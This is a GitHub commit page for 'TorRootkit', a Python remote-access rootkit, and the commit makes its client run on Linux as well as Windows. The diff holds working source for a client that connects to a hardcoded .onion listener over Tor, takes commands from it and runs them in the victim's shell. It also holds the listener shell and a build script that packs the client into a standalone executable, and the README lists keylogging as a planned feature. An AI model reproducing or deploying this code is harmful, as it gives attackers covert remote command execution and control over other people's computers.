Skip to content

Commit

Permalink
Client Crossplattform compatible
Browse files Browse the repository at this point in the history
  • Loading branch information
emcruise committed Aug 12, 2021
1 parent 98ad623 commit c54c85a
Show file tree
Hide file tree
Showing 7 changed files with 121 additions and 99 deletions.
14 changes: 10 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
# Tor Rootkit
[![Docker Image CI](https://github.com/emcruise/TorRootkit/actions/workflows/docker-image.yml/badge.svg)](https://github.com/emcruise/TorRootkit/actions/workflows/docker-image.yml)

A Python 3 standalone Windows 10 Rootkit. The networking works over tor hidden services.
A Python 3 standalone Windows 10 / Linux Rootkit. The networking works over tor hidden services.


## Installation
Expand Down Expand Up @@ -29,12 +29,17 @@ sudo docker run -it listener
```

### Client
The client is designed to run on Windows 10.
The client runs on Windows and Linux.

**Note:**
- On windows the build file bundles tor into the executable.
- On Linux the build file expects that tor is installed globally.

#### Prerequisites
- [Python3](https://www.python.org/)
- [Pip3](https://pypi.org/project/pip/)
- Add Python3 and Pip3 to PATH
- [Tor](https://www.torproject.org/) (on Linux)

1. Change directory to client:
```bash
Expand All @@ -46,7 +51,7 @@ cd .\client
pip3 install -r requirements.txt
```
3. Build executable from build.py:
- downloads [Tor Expert Bundle](https://www.torproject.org/download/tor/)
- downloads [Tor Expert Bundle](https://www.torproject.org/download/tor/) (Windows)
- bundles python3 interpreter and tor expert bundle into 1 standalone .exe file
```bash
python build.py <listener-onion-address> <listener-onion-port>
Expand All @@ -67,7 +72,7 @@ Use for educational purposes only.
- Client auto reconnects

## Upcoming Features
- [ ] cross-plattform compatibility
- [x] cross-plattform compatibility
- [ ] Up- and Download functionality
- [ ] Screenshots
- [ ] Keylogging
Expand All @@ -88,6 +93,7 @@ Use for educational purposes only.
| `help` | Shows the help menu |
| `^C` or `exit` | Exits the shell and returns to listener shell |
| `os <command>` | Executes a command in the clients shell and returns the output |
| `background` | Keeps the connection to a client and returns to listener

## Contribution
All contributions are appreciated.
Expand Down
22 changes: 14 additions & 8 deletions client/build.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
from argparse import ArgumentParser


def getTorExpertBundle():
def get_tor_expert_bundle():
# create directory for the tor expert bundle
os.mkdir('torbundle')
os.chdir('torbundle')
Expand Down Expand Up @@ -58,11 +58,17 @@ def parse_args():
# write modified script to file
open('client.py','w').write('\n'.join(lines))
# dont download everytime
if not os.path.isdir('torbundle'):
getTorExpertBundle()
if not os.path.isdir('torbundle') and os.name == 'nt':
get_tor_expert_bundle()

PyInstaller.__main__.run([
'client.py',
'--onefile',
'--add-data=torbundle;torbundle'
])
if os.name == 'nt':
PyInstaller.__main__.run([
'client.py',
'--onefile',
'--add-data=torbundle;torbundle'
])
else:
PyInstaller.__main__.run([
'client.py',
'--onefile',
])
136 changes: 68 additions & 68 deletions client/client.py
Original file line number Diff line number Diff line change
@@ -1,69 +1,69 @@
from network import ClientSocket, Tor
from argparse import ArgumentParser
import tasks


onion = ""
port = 0


class Client:
BUFFERSIZE = 4096

def __init__(self):
self.__tor = Tor()
self.initializeNetwork()

def initializeNetwork(self):
self.__sock = ClientSocket(onion, port)
# start shell after successfull network connection
self.run()

def run(self):
"""
Once the connection is established the client receives tasks,
and responds with the corresponding output.
"""
while True:
# receive task
try:
task, args = self.__sock.receive(self.BUFFERSIZE)
# evaluate output
execution_status = self.execute(task, args)
# broken connection because either network.send or network.receive
# raised an exception.
except Exception:
del(self.__sock)
break
if execution_status == -1:
continue
elif execution_status == 0:
pass

# re-establish connection after it is broken
self.initializeNetwork()


def execute(self, task, args) -> int:
"""
Executes the input of the listener.
"""
if task == 'EXECUTE':
command = args[0]
output = tasks.executeShell(command)
self.__sock.send(output)
elif task == 'ACTIVE':
self.__sock.send('ACTIVE')
elif task == '':
# no empty string gets send because the client
# sends back the cwd everytime anyways.
self.__sock.send('')
elif task == 'EXIT':
return -1
else:
self.__sock.send('Unknown command')
return 0


if __name__ == '__main__':
from network import ClientSocket, Tor
from argparse import ArgumentParser
import tasks


onion = "xb4hcfkkgtnzoofl6473gktzuhuwaaunozteaqmgoa3q6vxxtjvuueqd.onion"
port = 8843


class Client:
BUFFERSIZE = 4096

def __init__(self):
self.__tor = Tor()
self.initializeNetwork()

def initializeNetwork(self):
self.__sock = ClientSocket(onion, port)
# start shell after successfull network connection
self.run()

def run(self):
"""
Once the connection is established the client receives tasks,
and responds with the corresponding output.
"""
while True:
# receive task
try:
task, args = self.__sock.receive(self.BUFFERSIZE)
# evaluate output
execution_status = self.execute(task, args)
# broken connection because either network.send or network.receive
# raised an exception.
except Exception:
del(self.__sock)
break
if execution_status == -1:
continue
elif execution_status == 0:
pass

# re-establish connection after it is broken
self.initializeNetwork()


def execute(self, task, args) -> int:
"""
Executes the input of the listener.
"""
if task == 'EXECUTE':
command = args[0]
output = tasks.executeShell(command)
self.__sock.send(output)
elif task == 'ACTIVE':
self.__sock.send('ACTIVE')
elif task == '':
# no empty string gets send because the client
# sends back the cwd everytime anyways.
self.__sock.send('')
elif task == 'EXIT':
return -1
else:
self.__sock.send('Unknown command')
return 0


if __name__ == '__main__':
client = Client()
5 changes: 3 additions & 2 deletions client/network.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,15 +16,16 @@ class Tor:
PATH = '.\\torbundle\\Tor\\tor.exe'

def __init__(self):
self.start()
if os.name == 'nt':
self.start()
socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 9050)
socket.socket = socks.socksocket

def start(self):
try:
path = self.resource_path(self.PATH)
self.torProc = sp.Popen(path, shell=True, stdout=sp.PIPE, stderr=sp.PIPE)
except subprocess.SubprocessError as error:
except sp.SubprocessError as error:
print(str(error))
sys.exit(1)

Expand Down
13 changes: 7 additions & 6 deletions listener/listener.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
from shell import ListenerShell
from shell_ui.style import Style
from argparse import ArgumentParser
import shell_ui.ascii_art
import shell_ui.ascii_art as banner


class Listener(Style):
Expand All @@ -13,11 +13,11 @@ class Listener(Style):
"""

def __init__(self):
lport, fport = Listener.parse_args()
self.torHS = Tor('listener', lport, fport)
listenerSocket = ListenerSocket(fport)
listenerSocket.start()
shell = ListenerShell(listenerSocket)
listener_port, forward_port = Listener.parse_args()
self.torHS = Tor('listener', listener_port, forward_port)
listener_socket = ListenerSocket(forward_port)
listener_socket.start()
shell = ListenerShell(listener_socket)
shell.run()

@staticmethod
Expand All @@ -43,4 +43,5 @@ def __del__(self):


if __name__ == '__main__':
banner.draw()
Listener()
9 changes: 7 additions & 2 deletions listener/shell.py
Original file line number Diff line number Diff line change
Expand Up @@ -87,7 +87,9 @@ def run(self):
command = input('{} > '.format(cwd))
except KeyboardInterrupt:
print()
continue
_ = self.execute('exit')
self.posSysMsg('Closed connection to client')
break
# determine if output needs to be send to not interrupt socket cycle
execution_status = self.execute(command)
# nothing needs to be send
Expand Down Expand Up @@ -116,7 +118,8 @@ def execute(self, command) -> int:
print('help - shows this help menu')
print('os <command> - executes <command> on the remote system')
print('pwsh <command> - executes <command> on the remote system in powershell')
print('^C - exits the listener')
print('background - Backgrounds the current shell and returns to listener')
print('^C - exits the client shell and closes connection to client')
return -1
elif command == '':
return -1
Expand All @@ -128,6 +131,8 @@ def execute(self, command) -> int:
self.posSysMsg('Exiting client shell')
self.client.send('EXIT', [])
return -2
elif command == 'background':
return -2
else:
self.negSysMsg('Command not recognized')
return -1
Expand Down
21 changes: 12 additions & 9 deletions listener/shell_ui/ascii_art.py
Original file line number Diff line number Diff line change
@@ -1,10 +1,13 @@
from colorama import init, Fore, Style
init()
# Source: http://patorjk.com/software/taag/#p=display&f=Graffiti&t=TorRootkit
print('___________ __________ __ __ .__ __ ')
print('\\__ ___/_________\\______ \\ ____ _____/ |_| | _|__|/ |_ ')
print(' | | / _ \\_ __ \\ _// _ \\ / _ \\ __\\ |/ / \\ __\\')
print(' | |( <_> ) | \\/ | ( <_> | <_> ) | | <| || | ')
print(' |____| \\____/|__| |____|_ /\\____/ \\____/|__| |__|_ \\__||__| ')
print(' \\/ \\/ ')
print(Fore.GREEN + Style.BRIGHT + 'by emcruise' + Style.RESET_ALL)


def draw():
init()
# Source: http://patorjk.com/software/taag/#p=display&f=Graffiti&t=TorRootkit
print('___________ __________ __ __ .__ __ ')
print('\\__ ___/_________\\______ \\ ____ _____/ |_| | _|__|/ |_ ')
print(' | | / _ \\_ __ \\ _// _ \\ / _ \\ __\\ |/ / \\ __\\')
print(' | |( <_> ) | \\/ | ( <_> | <_> ) | | <| || | ')
print(' |____| \\____/|__| |____|_ /\\____/ \\____/|__| |__|_ \\__||__| ')
print(' \\/ \\/ ')
print(Fore.GREEN + Style.BRIGHT + 'by emcruise' + Style.RESET_ALL)

0 comments on commit c54c85a

Please sign in to comment.